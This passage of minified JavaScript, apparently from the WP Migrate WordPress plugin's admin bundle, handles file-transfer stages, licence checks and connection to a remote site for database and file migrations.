plugins","wp-migrate-db"),other_files:(0,n.__)("others","wp-migrate-db"),core_files:(0,n.__)("core","wp-migrate-db")};if(I.data.recursive_queue)return await a((0,u.t)(e,I,O,M[e]));await a((0,l.GD)("ADDONS_STAGE",[{fn:C,args:[e,I]}]))}}},C=function(e,t){var a=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0;return async(t,n)=>{t((0,i.b)(o.ks,window.wpmdbtp_settings.strings.loading_transfer_queue));var r=(0,c.ud)("migration_id",n()),u={stage:f[e],offset:a,migration_state_id:r},_=await t((0,m.c)("/tpf-get-queue-items",u));if(_){var g=_.data;if("complete"!==g.status){if(!g.hasOwnProperty("queue_status"))return t((0,p.pA)()),!1;t((0,d.Kr)(g.queue_status.size/1e3)),await t((0,l.GD)("ADDONS_STAGE",[{fn:C,args:[e,_]}]))}else{var b=P(n(),"themes"),h=P(n(),"plugins"),v=P(n(),"muplugins"),E=P(n(),"others"),w=P(n(),"core"),y=P(n(),f[e]),A={currentStage:e,stage:f[e],migration_state_id:r,theme_folders:JSON.stringify(b),plugin_folders:JSON.stringify(h),muplugin_folders:JSON.stringify(v),other_folders:JSON.stringify(E),core_folders:JSON.stringify(w),folders:JSON.stringify(y)};await t((0,l.GD)("ADDONS_STAGE",[{fn:s.D2,args:[e,"/tpf-transfer-files",A]}]))}}}},R=()=>(e,t)=>{var a=(0,c.ud)("stages",t()),n=["theme_files","plugin_files","muplugin_files","other_files","core_files"];return a.find((e=>n.includes(e)))}},9098:(e,t,a)=>{"use strict";a.d(t,{Ay:()=>P,Iy:()=>_,Ju:()=>m,LV:()=>x,N$:()=>f,Pj:()=>h,Qd:()=>N,SR:()=>g,TD:()=>p,To:()=>k,Uw:()=>o,WZ:()=>w,aR:()=>E,cS:()=>d,fY:()=>A,iu:()=>S,nO:()=>u,o4:()=>v,rC:()=>b,sd:()=>y,xV:()=>c});var n=a(60987),r=a(4173),i=a(95222),l=a(42686),s=a(50403),c="TOGGLE_THEME_PLUGIN_FILES",o="SET_TPF_AVAILABLE",d="SET_TPF_LICENSED",m="UPDATE_THEMES_OPTION",p="UPDATE_PLUGINS_OPTION",u="UPDATE_MUPLUGINS_OPTION",_="UPDATE_OTHERS_OPTION",g="UPDATE_CORE_OPTION",f="UPDATE_SELECTED_THEMES",b="UPDATE_SELECTED_PLUGINS",h="UPDATE_SELECTED_MUPLUGINS",v="UPDATE_SELECTED_OTHERS",E="UPDATE_SELECTED_CORE",w="UPDATE_EXCLUDED_THEMES",y="UPDATE_EXCLUDED_PLUGINS",A="UPDATE_THEMES_EXCLUDES",k="UPDATE_PLUGINS_EXCLUDES",x="UPDATE_MUPLUGINS_EXCLUDES",N="UPDATE_OTHERS_EXCLUDES",S="UPDATE_CORE_EXCLUDES",T={available:!1,is_licensed:!1,message:"",theme_files:{enabled:!1},themes_option:"all",themes_selected:[],themes_excluded:[],themes_excludes:".DS_Store\n.git\nnode_modules",plugin_files:{enabled:!1},plugins_option:"all",plugins_selected:[],plugins_excluded:[],plugins_excludes:".DS_Store\n.git\nnode_modules",muplugin_files:{enabled:!1},muplugins_option:"selected",muplugins_selected:[],muplugins_excludes:".DS_Store\n.git\nnode_modules",other_files:{enabled:!1},others_option:"selected",others_selected:[],others_excludes:".DS_Store\n.git\nnode_modules",core_files:{enabled:!1},core_option:"all",core_selected:[],core_excludes:".DS_Store\n.git\nnode_modules",state:{status:""}};const P=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:T,t=arguments.length>1?arguments[1]:void 0;return(0,r.Ay)(e,(a=>{switch(t.type){case"RESET_APP":return a;case l._:return(0,n.A)((0,n.A)({},a),{},{available:1===window.wpmdb_data.tpf_available,message:""});case s.$D:return(0,n.A)((0,n.A)({},a),{},{state:(0,n.A)((0,n.A)({},a.state),{},{status:s.$D})});case s.OR:return(0,n.A)((0,n.A)({},a),{},{state:(0,n.A)((0,n.A)({},a.state),{},{status:s.OR})});case c:return a[t.payload].enabled=!a[t.payload].enabled,a;case i.vm:return t.payload.profile.value.theme_plugin_files;case d:return a.is_licensed=t.payload,a;case o:var r=t.payload.available;return a.available=r,t.payload.hasOwnProperty("message")&&(a.message=t.payload.message),r||(a.theme_files.enabled=!1,a.plugin_files.enabled=!1,a.muplugin_files.enabled=!1,a.other_files.enabled=!1,a.core_files.enabled=!1),a;case f:return a.themes_selected=t.payload,a;case b:return a.plugins_selected=t.payload,a;case h:return a.muplugins_selected=t.payload,a;case v:return a.others_selected=t.payload,a;case E:return a.core_selected=t.payload,a;case w:return a.themes_excluded=t.payload,a;case y:return a.plugins_excluded=t.payload,a;case m:return a.themes_option=t.payload,a;case p:return a.plugins_option=t.payload,a;case u:return a.muplugins_option=t.payload,a;case _:return a.others_option=t.payload,a;case g:return a.core_option=t.payload,a;case k:return(0,n.A)((0,n.A)({},a),{},{plugins_excludes:t.payload});case x:return(0,n.A)((0,n.A)({},a),{},{muplugins_excludes:t.payload});case A:return(0,n.A)((0,n.A)({},a),{},{themes_excludes:t.payload});case N:return(0,n.A)((0,n.A)({},a),{},{others_excludes:t.payload});case S:return(0,n.A)((0,n.A)({},a),{},{core_excludes:t.payload});case s.Ui:return(0,n.A)((0,n.A)({},a),{},{available:"1"===t.payload.tpf_available});default:return e}}))}},12991:(e,t,a)=>{"use strict";a.d(t,{_:()=>d,t:()=>m});var n=a(17762),r=a(1626),i=a(95222),l=a(48346),s=a(26197),c=a(26388),o=a(68647),d=e=>t=>{t((0,r.b)(i.Ad,e)),t((0,r.b)(l.ks,(0,n.nv)((0,n.__)("Starting file transfer of %s files...","wp-migrate-db"),s.Q[e]))),t((0,c.Ad)())},m=function(e,t,a){var i=arguments.length>3&&void 0!==arguments[3]?arguments[3]:(0,n.__)("media library","wp-migrate-db");return async s=>(s((0,r.b)(l.ks,(0,n.nv)((0,n.__)("Scanning %s - %s files found...","wp-migrate-db"),i,parseInt(t.data.items_count||0).toLocaleString()))),await s((0,o.GD)("ADDONS_STAGE",[{fn:a,args:[e,!0]}])))}},31775:(e,t,a)=>{"use strict";a.d(t,{Qi:()=>l,VY:()=>c,pA:()=>s});var n=a(17762),r=(a(60804),a(57524),a(26388),a(59833)),i=a(48346),l=(e,t,a,n,r,i,l,s)=>{var c=e.target.tagName.toLowerCase();return!r&&("input"!==c&&"label"!==c&&(a?l(t):n?i(t):(i(t),s()),!1))},s=()=>e=>{e((0,r.z)({error_type:i.mN,error_message:(0,n.__)("Queue status not returned from remote.","wp-migrate-db")}))},c=function(e,t,a,r,i){return e?arguments.length>5&&void 0!==arguments[5]&&arguments[5]?(0,n.__)("stepping up failed","wp-migrate-db"):null===t||a||r?null!==t&&a&&!r?(0,n.__)("stepping down","wp-migrate-db"):null!==t&&!a&&r?(0,n.__)("maintaining","wp-migrate-db"):null!==t&&i?(0,n.__)("max reached","wp-migrate-db"):(0,n.__)("initializing","wp-migrate-db"):(0,n.__)("stepping up","wp-migrate-db"):(0,n.__)("static","wp-migrate-db")}},11365:(e,t,a)=>{"use strict";a.d(t,{D2:()=>b,ou:()=>f});var n=a(60987),r=a(17762),i=a(57524),l=a(20614),s=a(68647),c=a(57269),o=a(1626),d=a(48346),m=a(95222),p=a(26388),u=a(26197),_=a(33782),g=a(31775),f=["media_files","theme_files","plugin_files","muplugin_files","other_files","core_files"];function b(e,t,a){var c=arguments.length>3&&void 0!==arguments[3]?arguments[3]:null,f=arguments.length>4&&void 0!==arguments[4]&&arguments[4],v=arguments.length>5&&void 0!==arguments[5]&&arguments[5],E=arguments.length>6&&void 0!==arguments[6]?arguments[6]:0,w=arguments.length>7&&void 0!==arguments[7]&&arguments[7];return async(y,A)=>{var k=!0;null!==c||w||(c=(0,i.ud)("currentMaxPayloadSize",A())),!1===w&&null!==c&&E>=5&&(c=null,w=!0,v=!1,f=!1),y((0,o.b)(d.ks,(0,r.nv)((0,r.__)("Migrating %s files..."),u.Q[e]))),y((0,o.b)(m.l_));var x=E<=5,N=await y((0,l.c)(t,(0,n.A)((0,n.A)({},a),{},{payloadSize:c,stabilizePayloadSize:f,stepDownSize:v,retries:E,forceHighPerformanceTransfers:!0}),x)),S=!1;if(!N){if(!x)return;S=!0}var T=N.data;if(!N||!N.data||"complete"!==N.data.status){var P,O,C=c;if(!S)if(!0!==N.success)S=!0;else{var R=Object.keys(T.status),D=T.status.error,I=T.status[R[0]].total_transferred,M=T.status,L=M.current_payload_size,F=M.reached_max_payload_size,B=M.fallback_payload_size;C=L,P=v||F||f,O=I/1e3,!I||D?S=!0:(y((0,o.b)(m.cF,I)),y((0,o.b)(m.qA,I)),y((0,o.b)(m.xp,null!==L&&void 0!==L?L:B))),setTimeout((()=>{var t=(0,i.w1)("timer",A());y((0,o.b)(m.tk,{currentStage:e,status:(0,g.VY)(k,c,v,f,F,S),maxPayloadSize:(0,_.G3)(null!==L&&void 0!==L?L:0),currRequestSize:(0,_.G3)(null!==I&&void 0!==I?I:0),time:Math.floor(t.time/1e3)}))}),0)}return!0===S?await y((0,s.GD)("ADDONS_STAGE",[{fn:b,args:[e,t,a,C,!1,!0,E+1,w]}])):(O&&y((0,p.Bz)(O)),await y((0,s.GD)("ADDONS_STAGE",[{fn:b,args:[e,t,a,C,P,!1,0,w]}])))}await y((0,s.GD)("ADDONS_STAGE",[{fn:h,args:[e,N.data.status]}]))}}function h(e,t){return async(a,n)=>{var r=(0,i.ud)("stages",n());if(a((0,o.b)(m.kl,e)),f.includes(e)){var l=f.indexOf(e),d=f.slice(l+1).find((e=>r.includes(e)));if(d)return await a((0,s.GD)("ADDONS_STAGE",[{fn:c.uL,args:[d]}]));if("complete"===t)return a((0,s.GD)(s.Wz))}}}},20614:(e,t,a)=>{"use strict";a.d(t,{c:()=>l});var n=a(33782),r=a(59833),i=a(48346),l=function(e,t){var a=arguments.length>2&&void 0!==arguments[2]&&arguments[2];return async l=>{var s;try{s=await(0,n.ty)(e,t)}catch(c){return a||(l((0,r.z)({error_type:i.mN,error_message:c})),(0,n.rh)(c)),!1}return s.success?s:(a||(l((0,r.z)({error_type:i.mN,error_message:s.data})),l((0,r.S)())),!1)}}},26197:(e,t,a)=>{"use strict";a.d(t,{Q:()=>r});var n=a(17762),r={theme_files:(0,n.__)("theme","wp-migrate-db"),plugin_files:(0,n.__)("plugin","wp-migrate-db"),muplugin_files:(0,n.__)("must-use plugin","wp-migrate-db"),media_files:(0,n.__)("media","wp-migrate-db"),other_files:(0,n.__)("other","wp-migrate-db"),core_files:(0,n.__)("WordPress core","wp-migrate-db")}},15981:(e,t,a)=>{"use strict";a.d(t,{A:()=>i});var n=a(52888),r=a(17762);const i=e=>{var t=e.videoID,a=e.height;return n.createElement("iframe",{height:a||360,width:"100%",title:(0,r.__)("WP Migrate Help Videos","wp-migrate-db"),src:"//fast.wistia.net/embed/iframe/".concat(t,"?embedType=iframe&videoFoam=true&fullscreenButton=true&qualityMin=1080"),frameBorder:"0",scrolling:"no",className:"wistia_embed",name:"wistia_embed",allowFullScreen:!0})}},93951:(e,t,a)=>{"use strict";a.d(t,{I:()=>r});var n=a(33782),r=e=>{var t,a=e.remote_site,r=e.local_site;switch(e.intent){case"pull":t={domain:{search:(0,n.b5)(a.url),replace:(0,n.b5)(r.this_url)},path:{search:a.path,replace:r.this_path}};break;case"push":case"savefile":t={domain:{search:(0,n.b5)(r.this_url),replace:(0,n.b5)(a.url)},path:{search:r.this_path,replace:a.path}};break;case"import":t={domain:{search:(0,n.b5)(a.URL),replace:(0,n.b5)(r.this_url)},path:{search:a.path,replace:r.this_path}}}return t.domain.enabled=!0,t.path.enabled=!0,t}},35305:(e,t,a)=>{"use strict";a.r(t),a.d(t,{default:()=>g});var n=a(19496),r=a(52888),i=a(24819),l=a(24467),s=a(17762),c=a(62206),o=a(58347),d=a(38447);const m=(0,l.Ng)((e=>({settingsStatus:(0,o.k)("status",e)})),{checkLicenceAgain:d.wc})((e=>{var t,a,n=!1,i=e.settingsStatus,l=e.settings;return l&&(t=l.licence,a=l.masked_licence),i.check_again&&(n=!0===i.check_again),r.createElement(r.Fragment,null,r.createElement("div",{className:"flex-container licence-action"},r.createElement("a",{onClick:()=>{e.checkLicenceAgain(t,a)}},(0,s.__)("Check my license again","wp-migrate-db")),r.createElement("div",{className:"relative"},n&&r.createElement(c.xj,{className:"license-notification-spinner"}))))}));var p=a(52129),u=e=>{var t=e.settings,a=t.status,n=t.errors,i=a.disable_ssl;return r.createElement(r.Fragment,null,r.createElement("div",{className:"flex-container licence-action"},r.createElement("button",{className:"btn-tooltip-stroke",onClick:()=>e.disableSSL()},(0,s.nv)((0,s.__)("Temporarily disable SSL for connections to %s","wp-migrate-db"),"api.deliciousbrains.com")),r.createElement(p.L3,{position:!1,condition:i,errorMsg:n.disable_ssl,spinnerCond:i&&!0===i})))},_=a(51006);const g=e=>{var t=(0,l.d4)((e=>e.dbi_api_data.licence)),a=t.license_ui_status,s=t.licence_status,c=(0,r.useState)(null),o=(0,n.A)(c,2),d=o[0],p=o[1],g=["subscription_expired","licence_not_found","no_activations_left"];return(0,r.useEffect)((()=>{(0,i.includes)(g,s)?p(r.createElement(m,e)):"activation_deactivated"===s&&p(r.createElement(_.A,e))}),[]),d||(""===a?null:"check_again"===a?r.createElement(m,e):"connection_failed"===a?r.createElement(u,e):null)}},51006:(e,t,a)=>{"use strict";a.d(t,{A:()=>o});var n=a(52888),r=a(17762),i=a(24467),l=a(62206),s=a(58347),c=a(38447);const o=(0,i.Ng)((e=>({settingsStatus:(0,s.k)("status",e)})),{reactivateLicense:c.y})((e=>{var t=!1,a=e.settingsStatus,i=e.className,s=e.btnText;return a.reactivate_license&&(t=!0===a.reactivate_license),n.createElement(n.Fragment,null,n.createElement("div",{className:"flex-container licence-action"},n.createElement("a",{onClick:()=>{e.reactivateLicense()},className:i||""},s||(0,r.__)("Reactivate license","wp-migrate-db")),n.createElement("div",{className:"relative"},t&&n.createElement(l.xj,{className:"license-notification-spinner"}))))}))},4552:(e,t,a)=>{"use strict";a.r(t),a.d(t,{addonsLoaded:()=>v,runAddonsStage:()=>E});var n=a(24467),r=a(81438),i=a(42686),l=a(58347),s=a(58728),c=a(1626),o=a(57269),d=a(9339),m=a(97041),p=a(33782),u=a(73035),_=(e,t,a)=>n=>{n(e(a,t))},g=(e,t)=>t=>{var a=e.media_files,n=e.dbi_api_data;a&&(t(_(d.PY,(0,d.rG)(),"1"===e.migrations.local_site.mf_available)),(0,p.PQ)()&&!1===a.is_licensed&&t((0,d.Db)(h("wp-migrate-db-pro-media-files",n))))},f=(e,t)=>t=>{var a=e.theme_plugin_files,n=e.dbi_api_data;a&&(t(_(o.qb,(0,o.M5)(),"1"===e.migrations.local_site.tpf_available)),(0,p.PQ)()&&!1===a.is_licensed&&t((0,o.Mm)(h("wp-migrate-db-pro-theme-plugin-files",n))))},b=e=>(t,a)=>{var n=a(),i=n.profiles,l=n.migrations,s=n.multisite_tools,o=n.dbi_api_data,d=l.current_migration,g=l.local_site,f=d.intent;if(s){t((0,u.U2)("wpmdb_post_connection_errors",(e=>((0,p.ks)(f,a())&&e.warning.push(g["mst_required_message_".concat(f)]),e)))),t(_(m.K6,(0,m.Oz)(),e.mst_available)),(0,p.PQ)()&&!1===s.is_licensed&&t((0,m.Yr)(h("wp-migrate-db-pro-multisite-tools",o)));var b=!d.twoMultisites&&("true"===g.is_multisite||e.site_details&&"true"===e.site_details.is_multisite);["push","pull"].includes(f)&&b&&null===i.current_profile&&t((0,c.b)(r.g4))}},h=(e,t)=>!(!t.api_data||!t.api_data.addons_available_list)&&e in t.api_data.addons_available_list;function v(){return(e,t)=>{e({type:i._});var a=t(),r=a.migrations,l=r.local_site,s=r.remote_site;(0,n.vA)((()=>{e(g(a,s,l)),e(f(a,s,l)),e(b(s,l))}))}}function E(e,t){return async(t,a)=>{var n,r,i=(0,l.k)("delay_between_requests",a());return e.length&&(n=e[0].fn,r=e[0].args),i>0?await(0,s.b8)((()=>t((0,s.o$)(n,r))),1e3*i):await t((0,s.o$)(n,r))}}},57900:(e,t,a)=>{"use strict";a.r(t),a.d(t,{betaOptionToggle:()=>r});var n=a(58347),r=()=>(e,t)=>{(0,n.k)("beta_optin",t())||window.wpmdb_data.is_beta_plugins_installed&&window.confirm(window.wpmdb_strings.rollback_beta_to_stable)&&(window.location=window.wpmdb_data.rollback_to_stable_url)}},24930:(e,t,a)=>{"use strict";a.r(t),a.d(t,{changeConnection:()=>B,connectToRemote:()=>F,copyLicenseToRemote:()=>O,handleTableSelects:()=>M,resetMigration:()=>S,retryOverHTTP:()=>R,setConnectedProfileName:()=>I,setConnectionStatus:()=>x,setConnectionStatusBatch:()=>N,setError:()=>P,shouldShowSSLNotice:()=>D,updateConnectionState:()=>T,updatePluginOnRemote:()=>C});var n=a(19496),r=a(60987),i=a(94263),l=a.n(i),s=a(24467),c=a(17762),o=a(33782),d=e=>{var t=0,a=window.WPMDBStore.getState();if(0===e.length)return window.wpmdb_strings.connection_info_missing;var r=(e=>{var t=e.split("\n"),a=e;if(1===t.length){var n=e.trim().split(" ");2===n.length&&(!1===window.wpmdb_data.openssl_available&&(n[0]=n[0].replace("https://","http://")),a=n[0]+"\n"+n[1])}return a})(e),i=r.split("\n"),l=(0,n.A)(i,2),s=l[0],c=l[1];return(0,o.wv)(s)?("undefined"!==typeof c&&(t=c.length),32!==t&&40!==t?window.wpmdb_strings.connection_info_key_invalid:s===window.wpmdb_data.connection_info[0]?window.wpmdb_strings.connection_info_local_url:c===a.settings.key?window.wpmdb_strings.connection_info_local_key:{url:s,key:c,str:r}):window.wpmdb_strings.connection_info_url_invalid},m=a(1626),p=a(43619),u=a(50403),_=a(75742),g=a(57524),f=a(16274),b=a(50536),h=a(95222),v=a(44016),E=a(4552),w=a(73035),y=a(78290),A=a(61809);var k=e=>{e.connectionState;var t=e.result,a=void 0===t?null:t,n=e.intent,i=void 0===n?null:n;return(e,t)=>{(0,s.vA)((()=>{var n=D(t()),l=(0,r.A)((0,r.A)({},y.C),{},{button_status:"hidden"});n&&(l.ssl_notice=!0),e(N(l)),e(M((0,g.yy)("this_tables",t()),a.data.tables,(0,g.ud)(["intent","tables_selected","backup_option","backup_tables_selected"],t()))),e((0,f.ub)(!0)),!1!==e((0,A.Xg)(a,!0,i))&&(e(I()),e(((e,t)=>{var a=["database","save_profile","theme_plugin_files"];null===(0,g.ud)("selected_existing_profile",t())&&a.push("custom_fields","standard_fields","multisite_tools"),(0,_.z)("status",t()).ssl_notice&&a.push("connect"),e((0,w.W5)("postConnectionPanelsOpen",a)),(0,s.vA)((()=>{e((0,v.TA)(a)),e((0,w.Eo)("postConnectionPanels")),e((0,v.lS)("database","connect"))}))})),e((async e=>{var t=[];window.hasOwnProperty("wpmdbmf")&&t.push("media_files"),window.hasOwnProperty("wpmdbtp")&&t.push("theme_plugin_files"),t.length>0&&(e((0,v.o_)(t)),e((0,E.addonsLoaded)()))})))}))}},x=(e,t)=>(0,m.b)(p.v_,{key:e,statusVal:t}),N=e=>t=>{t((0,m.b)(p.IJ,e))},S=e=>(0,m.b)(u.DQ,e),T=e=>(0,m.b)(p.sy,e),P=e=>(0,m.b)(p.v_,{key:"error",statusVal:e}),O=()=>async(e,t)=>{var a=t().migrations.connection_info.connection_state;return await(0,o.ty)("/copy-license-to-remote",{url:a.url,key:a.key})},C=e=>async(t,a)=>{var n,r=a().migrations.connection_info.connection_state;try{n=await(0,o.ty)("/update-plugin-on-remote",{url:r.url,key:r.key,slug:e})}catch(i){return"AbortError"===i.name?void console.log("fetch aborted",i):(t(L(i.message)),!1)}return n},R=()=>async(e,t)=>{var a=t(),n=(0,r.A)({},a.migrations.connection_info.connection_state),i=a.migrations.current_migration.intent;n.url=n.url.replace("https","http"),n.value=n.value.replace("https","http"),e(x("retry_over_http",!0)),e(T(n)),e(F(i))},D=e=>(0,_.z)("status",e).retry_over_http,I=()=>(e,t)=>{var a=(0,g.ud)("intent",t()),n=(0,g.yy)("url",t());l()(["push","pull"],a)&&(n=(0,g.vg)("url",t()));var r=n.replace(/(^\w+:|^)\/\//,""),i="push"===a?(0,c.nv)((0,c.__)("Push to %s","wp-migrate-db"),r):(0,c.nv)((0,c.__)("Pull from %s","wp-migrate-db"),r);e((0,f.Pc)(i))},M=(e,t,a)=>{var r=(0,n.A)(a,4),i=r[0],l=r[1],s=r[2],c=r[3];return(a,n)=>{var r=e,o=t;"pull"===i&&(r=t,o=e);var d=r.filter((e=>l.includes(e)));if(d.length!==l.length&&a({type:h.cJ,payload:d}),"backup_manual_select"===s){var m=o.filter((e=>c.includes(e)));m.length!==c.length&&a({type:h.A$,payload:m})}}},L=e=>(t,a)=>{var n,r=(0,b.A)(e);t((n=r,async(e,t)=>{D(t())&&e(x("ssl_notice",!0)),n.includes("#197")?e(R()):(n.includes("401 Unauthorized")&&e(N({show_auth_form:!0})),n.includes("#195")&&e(x("copy_to_remote",!0)),n.includes("#196")&&e(x("update_plugin_on_remote",!0)),e(x("error_msg",n)))})),(0,_.z)("status",a()).retry_over_http?t(N({retry_over_http:!1,ssl_notice:!0})):t(((e,t)=>{e((0,m.b)(u.DQ,["connect"])),e(N({error:!0,button_status:"",connecting:!1}))}))},F=e=>async(t,a)=>{var n,i,l=(0,g.jG)("connection_info",a()).connection_state,c=t((n="connect_to_remote",e=>{var t=new AbortController;return e((0,m.b)("SET_ABORT_CONTROLLER",{key:n,controller:t})),t}));t((e=>t=>{(0,s.vA)((()=>{t(N({connecting:!0,button_status:"disabled"})),t(T((0,r.A)({},e)))}))})(l));try{i=await(0,o.ty)("/verify-connection",{url:l.url,key:l.key,intent:e},c)}catch(d){return"AbortError"===d.name?void console.log("fetch aborted",d):(t(L(d.message)),!1)}if(i.success)return t(k({connectionState:l,result:i,intent:e})),i;t(L(i))},B=e=>async(t,a)=>{var n=a(),i=n.migrations.current_migration.intent,l=n.migrations.connection_info.status.pasted;t(N({error:!1,button_status:""}));var c=e.connection_state,o=d(e),m=(0,r.A)((0,r.A)({},c),{},{value:o.str,url:o.url,key:o.key});if("string"===typeof o){var p=(0,r.A)((0,r.A)({},c),{},{value:e});return(0,s.vA)((()=>{t(T(p)),t(N({error:!0,button_status:"disabled",error_msg:o}))})),o}t(T(m)),l&&(0,s.vA)((()=>{t(F(i,!0)),t(x("pasted",!1))}))}},38447:(e,t,a)=>{"use strict";a.d(t,{E5:()=>y,UA:()=>h,Wd:()=>b,nV:()=>f,rS:()=>v,ut:()=>k,wc:()=>A,y:()=>E});var n=a(19496),r=a(24467),i=a(17762),l=a(1626),s=a(86140),c=a(74634),o=a(98791),d=a(58347),m=a(33782),p=a(82597),u=a(50536),_=a(79613),g=a(50403);function f(e){return async t=>await t((0,m.ZY)({preRequest:(0,r.vA)((()=>{t((0,p.m_)("licence_action",!0)),t((0,p.jd)("licence"))})),asyncFn:e,requestFailed:e=>{var a,n;t((a=e,n="licence_action",e=>(e((0,p.Yt)("licence",(0,i.__)("API error: ")+(0,u.A)(a))),e((0,p.m_)(n,!1)),!1)))},requestSuccess:e=>{t((0,p.m_)("licence_action",!1))}}))}function b(e,t){return a=>{var r=e.data,i=r.errors;if(i){if(a((0,p.m_)(t,!1)),Object.keys(i).length>0){var s=Object.keys(i),o=(0,n.A)(s,1)[0];r.hasOwnProperty("licence_status")&&(o=r.licence_status),a(x(o))}a((0,l.b)(c.I,i))}else a(x("active_licence"))}}function h(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:f,t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],a=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"ui";return async(n,i)=>{var s=(0,d.k)("licence",i()),p=(0,_.K)("api_time",i()),u=Date.now()-p,f=(0,_.K)("license_check_context",i());if(t||!(u<36e5)||a!==f){var h=await n(e((0,m.ty)("/check-license",{licence:s,context:"all",message_context:a},!1,n)));if(!h)return null;var v=h.data;return n(b(h,"check_licence")),(0,r.vA)((()=>{n((0,l.b)(c.xo,h.data)),n((0,l.b)(c.Ut,Date.now())),n((0,l.b)(c.eG,a)),n((e=>{(0,m.ty)("/local-site-details").then((t=>{t.success&&e((0,l.b)(g.Ui,t.data))}))})),t&&n((0,o.sT)())})),v}}}function v(e){return async t=>{var a=await t(f((0,m.ty)("/activate-license",{licence_key:e,context:"all",message_context:"settings"},!1,t)));return w(t,a)}}function E(){return async e=>{e((0,p.m_)("reactivate_license",!0));var t=await e(f((0,m.ty)("/reactivate-license",{context:"all",message_context:"settings"},!1,e))),a=w(e,t);return e((0,p.m_)("reactivate_license","success")),e(h(f,!0)),a}}function w(e,t){if(!t)return null;var a=t.data,n=a.errors,i=a.error_type;return e(b(t,"licence_action")),"undefined"!==typeof t.data.dbrains_api_down?(e((0,l.b)(c.hm,!0)),e((0,o.sT)()),e(h())):e((0,l.b)(c.hm,!1)),!(n&&!Object.keys(n).includes("subscription_expired"))&&(1===Number(t.data.is_first_activation)&&"subscription_expired"!==i&&e((0,l.b)(c.bl,"first_activation")),"subscription_expired"!==i&&e((0,l.b)(c.ZD,!0)),t.success&&t.data&&(0,r.vA)((async()=>{"subscription_expired"!==i&&e(x("active_licence")),e((0,o.sT)()),e((0,p.cD)("masked_licence",t.data.masked_licence)),e((0,l.b)(c.xo,t.data)),"subscription_expired"!==i&&e((0,l.b)(c.I,[])),e(h())})),setTimeout((()=>{e((0,l.b)(c.ZD,!1))}),2500),t)}function y(){return async e=>{var t=await e(f((0,m.ty)("/remove-license",{remove_license:!0},!1,e)));return t?((0,r.vA)((()=>{e((0,l.b)(c.P2)),e((async e=>{(0,r.vA)((()=>{e((0,l.b)(c.I,[])),e((0,l.b)(c.xo,[])),e((0,l.b)(c.Ut,0)),e((0,o.bZ)())}))}))})),t):null}}function A(e,t){return async(a,n)=>{a((0,p.m_)("check_again",!0));var r=f;e&&!t&&(r=()=>v(e));var i=await a(h(r,!0));return a((0,p.m_)("check_again","success")),i}}function k(e){return async t=>t((0,l.b)(s.vG,{setting:"licence",value:e}))}function x(e){return async t=>t((0,l.b)(c.QI,e))}},61809:(e,t,a)=>{"use strict";a.d(t,{Xg:()=>d});var n=a(93951),r=a(73035),i=a(43318),l=a(16274),s=a(1626),c=a(33782),o=a(95222);function d(e,t,a){return(d,m)=>{var p=m();d({type:"UPDATE_REMOTE_SITE",payload:e.data});var u=(0,n.I)({intent:a,remote_site:e.data,local_site:p.migrations.local_site});u=d((0,r.W5)("wpmdb_standard_replace_values",u)),d((0,i.Xe)(u)),d((0,l.YY)("push"===a));var _="pull"===a?e.data.prefix:p.migrations.local_site.this_prefix,g="pull"===a?p.migrations.local_site.this_prefix:e.data.prefix;return d((0,l.cp)(_,g)),["push","pull"].includes(a)&&(d((0,l.hO)("true"===e.data.site_details.is_multisite&&"true"===p.migrations.local_site.is_multisite)),d((0,s.b)(o.$9,{local_site_mode:void 0!==p.settings.high_performance_transfers?p.settings.high_performance_transfers:p.migrations.local_site.site_details.high_performance_transfers,remote_site_mode:e.data.site_details.high_performance_transfers}))),!!t&&(d(function(e){return t=>{t({type:o.ym,connected:e})}}(t)),d(function(e,t){return(a,n)=>{n().migrations.local_site.this_prefix!==e.data.prefix&&a((0,s.b)("SET_CONNECTION_STATUS",{key:"prefix_mismatch",statusVal:!0})),(0,c.dJ)(t,n())&&a((0,l._C)())}}(e,a)))}}},70472:(e,t,a)=>{"use strict";a.r(t),a.d(t,{TrackMigrationComplete:()=>l,TrackMigrationStart:()=>i});var n=a(33782),r=a(57524),i=()=>async(e,t)=>{var a=t().settings,i=a.isPro,l=a.allow_tracking&&i,s=(0,r.ud)("migration_id",t());if(!l)return!1;try{await(0,n.ty)("/log-migration",{migration_id:s,complete:!1})}catch(c){console.error(c.message)}},l=()=>async(e,t)=>{var a=t().settings,n=a.isPro;if(!(a.allow_tracking&&n))return!1;var i=(0,r.ud)("migration_id",t()),l=(0,r.ud)("intent",t()),s=new FormData;if(s.append("action","wpmdb_track_migration_complete"),s.append("nonce",window.wpmdb_data.nonces.flush),s.append("migration_id",i),s.append("intent",l),!["push","pull"].includes(l))try{await fetch(window.ajaxurl,{method:"POST",body:s})}catch(c){console.error(c.message)}}},42686:(e,t,a)=>{"use strict";a.d(t,{A:()=>l,_:()=>i});var n=a(4173),r={media_files:window.hasOwnProperty("wpmdbmf"),theme_plugin_files:window.hasOwnProperty("wpmdbtp"),multisite_tools:window.hasOwnProperty("wpmdbmst")},i="ADDONS_LOADED";const l=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:r,t=arguments.length>1?arguments[1]:void 0;return(0,n.Ay)(e,(a=>"RESET_APP"===t.type?a:e))}},43619:(e,t,a)=>{"use strict";a.d(t,{IJ:()=>c,YA:()=>d,sy:()=>l,v_:()=>s});var n=a(60987),r=a(93974),i=a(78290),l="UPDATE_CONNECTION_INFO",s="SET_CONNECTION_STATUS",c="SET_CONNECTION_STATUS_BATCH",o={connection_state:[],status:i.C},d=(0,r.vy)(o,{RESET_MIGRATION:(e,t)=>(0,n.A)((0,n.A)({},o),{},{connection_state:e.connection_state,status:e.status}),SET_CONNECTION_STATUS:(e,t)=>{var a=t.payload,n=a.statusVal,r=a.key;return e.status[r]=n,e},SET_CONNECTION_STATUS_BATCH:(e,t)=>(e.status=(0,n.A)((0,n.A)({},e.status),t.payload),e),SET_MIGRATION_CONNECTED:(e,t)=>(e.status.connecting=!1,e),UPDATE_CONNECTION_INFO:(e,t)=>(e.connection_state=t.payload,e),LOAD_PROFILE:(e,t)=>{var a=t.payload.profile.value.connection_info;return(0,n.A)((0,n.A)({},a),{},{status:(0,n.A)({},i.C)})}})},74634:(e,t,a)=>{"use 